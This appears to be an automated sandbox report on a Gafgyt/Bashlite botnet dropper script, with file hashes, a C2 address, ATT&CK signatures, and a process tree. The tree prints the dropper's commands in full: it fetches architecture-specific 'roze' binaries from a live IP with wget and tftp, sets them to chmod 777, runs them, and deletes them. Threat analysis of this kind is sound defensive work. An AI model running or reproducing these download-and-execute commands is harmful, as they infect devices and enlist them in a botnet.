Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06-12-2024 13:21

General

  • Target

    update.sh

  • Size

    3KB

  • MD5

    bd60ce22343af79a495628041c27c3a0

  • SHA1

    a7510aabe4465db8de01ca2bc535003eddea0d37

  • SHA256

    8c27365e971954012e6a2543904fbbcea00241a369fd37f1dca5143e9f8c4d0e

  • SHA512

    1f5016541e9654176198e0e926fec6e51095697faec6397c69f05bbb5438ab5b3edcddcbfcbb4acaa44347396dd4f9b0a31577cfb1ca5240f95fc80e546d700b

Malware Config

Extracted

Family

gafgyt

C2

185.91.127.27:87

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/update.sh
    /tmp/update.sh
    1⤵
      PID:697
      • /usr/bin/wget
        wget http://185.91.127.27/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:699
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.mips -O roze.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:716
      • /bin/busybox
        busybox tftp -r roze.mips -g 185.91.127.27
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:722
      • /bin/chmod
        chmod 777 roze.mips
        2⤵
        • File and Directory Permissions Modification
        PID:748
      • /tmp/roze.mips
        ./roze.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:749
      • /bin/rm
        rm -rf roze.mips
        2⤵
        • System Network Configuration Discovery
        PID:750
      • /usr/bin/wget
        wget http://185.91.127.27/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:752
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.mipsel -O roze.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:758
      • /bin/busybox
        busybox tftp -r roze.mipsel -g 185.91.127.27
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:762
      • /bin/chmod
        chmod 777 roze.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:782
      • /tmp/roze.mipsel
        ./roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:783
      • /bin/rm
        rm -rf roze.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:784
      • /usr/bin/wget
        wget http://185.91.127.27/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:785
      • /bin/busybox
        busybox wget http://185.91.127.27/roze.sh4 -O roze.sh4
        2⤵
        • Writes file to tmp directory
        PID:786
      • /bin/busybox
        busybox tftp -r roze.sh4 -g 185.91.127.27
        2⤵
        • Writes file to tmp directory
        PID:787
      • /bin/chmod
        chmod 777 roze.sh4
        2⤵
        • File and Directory Permissions Modification
        PID:818
      • /tmp/roze.sh4
        ./roze.sh4
        2⤵
          PID:819
        • /bin/rm
          rm -rf roze.sh4
          2⤵
            PID:820
          • /usr/bin/wget
            wget http://185.91.127.27/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:821
          • /bin/busybox
            busybox wget http://185.91.127.27/roze.x86 -O roze.x86
            2⤵
            • Writes file to tmp directory
            PID:822
          • /bin/busybox
            busybox tftp -r roze.x86 -g 185.91.127.27
            2⤵
            • Writes file to tmp directory
            PID:823
          • /bin/chmod
            chmod 777 roze.x86
            2⤵
            • File and Directory Permissions Modification
            PID:824
          • /tmp/roze.x86
            ./roze.x86
            2⤵
              PID:825
            • /bin/rm
              rm -rf roze.x86
              2⤵
                PID:826
              • /usr/bin/wget
                wget http://185.91.127.27/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:827
              • /bin/busybox
                busybox wget http://185.91.127.27/roze.armv6 -O roze.armv6
                2⤵
                • Writes file to tmp directory
                PID:828
              • /bin/busybox
                busybox tftp -r roze.armv6 -g 185.91.127.27
                2⤵
                • Writes file to tmp directory
                PID:829
              • /bin/chmod
                chmod 777 roze.armv6
                2⤵
                • File and Directory Permissions Modification
                PID:830
              • /tmp/roze.armv6
                ./roze.armv6
                2⤵
                  PID:831
                • /bin/rm
                  rm -rf roze.armv6
                  2⤵
                    PID:832
                  • /usr/bin/wget
                    wget http://185.91.127.27/roze.armv7 -O roze.armv7
                    2⤵
                    • Writes file to tmp directory
                    PID:833
                  • /bin/busybox
                    busybox wget http://185.91.127.27/roze.armv7 -O roze.armv7
                    2⤵
                      PID:834
                    • /bin/busybox
                      busybox tftp -r roze.armv7 -g 185.91.127.27
                      2⤵
                      • Writes file to tmp directory
                      PID:835
                    • /bin/chmod
                      chmod 777 roze.armv7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:836
                    • /tmp/roze.armv7
                      ./roze.armv7
                      2⤵
                        PID:837
                      • /bin/rm
                        rm -rf roze.armv7
                        2⤵
                          PID:838
                        • /usr/bin/wget
                          wget http://185.91.127.27/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:839
                        • /bin/busybox
                          busybox wget http://185.91.127.27/roze.i686 -O roze.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:840
                        • /bin/busybox
                          busybox tftp -r roze.i686 -g 185.91.127.27
                          2⤵
                          • Writes file to tmp directory
                          PID:841
                        • /bin/chmod
                          chmod 777 roze.i686
                          2⤵
                          • File and Directory Permissions Modification
                          PID:842
                        • /tmp/roze.i686
                          ./roze.i686
                          2⤵
                            PID:843
                          • /bin/rm
                            rm -rf roze.i686
                            2⤵
                              PID:844
                            • /usr/bin/wget
                              wget http://185.91.127.27/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:845
                            • /bin/busybox
                              busybox wget http://185.91.127.27/roze.ppc -O roze.ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:846
                            • /bin/busybox
                              busybox tftp -r roze.ppc -g 185.91.127.27
                              2⤵
                              • Writes file to tmp directory
                              PID:847
                            • /bin/chmod
                              chmod 777 roze.ppc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:849
                            • /tmp/roze.ppc
                              ./roze.ppc
                              2⤵
                                PID:850
                              • /bin/rm
                                rm -rf roze.ppc
                                2⤵
                                  PID:851
                                • /usr/bin/wget
                                  wget http://185.91.127.27/roze.i586 -O roze.i586
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:852
                                • /bin/busybox
                                  busybox wget http://185.91.127.27/roze.i586 -O roze.i586
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:853
                                • /bin/busybox
                                  busybox tftp -r roze.i586 -g 185.91.127.27
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:854
                                • /bin/chmod
                                  chmod 777 roze.i586
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:855
                                • /tmp/roze.i586
                                  ./roze.i586
                                  2⤵
                                    PID:856
                                  • /bin/rm
                                    rm -rf roze.i586
                                    2⤵
                                      PID:857
                                    • /usr/bin/wget
                                      wget http://185.91.127.27/roze.m68k -O roze.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:858
                                    • /bin/busybox
                                      busybox wget http://185.91.127.27/roze.m68k -O roze.m68k
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:859
                                    • /bin/busybox
                                      busybox tftp -r roze.m68k -g 185.91.127.27
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:860

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/roze.mips

                                    Filesize

                                    209KB

                                    MD5

                                    97d9d4346609a36db70c4732d53f530a

                                    SHA1

                                    a9beb573471c7a6d83dc70fa331233446f49556c

                                    SHA256

                                    79164326a7940f25869476593db103dfd144e7155d7f005e3f51d4f5472df840

                                    SHA512

                                    160deab9e2ebf460fbf264b71737a5dc509c03a61e1b75324582b6644eb3f9dec2b83ff9add8ae5ccec83910c04f1a1b4b93d22ba6c1d46d54f6d82623a1c73c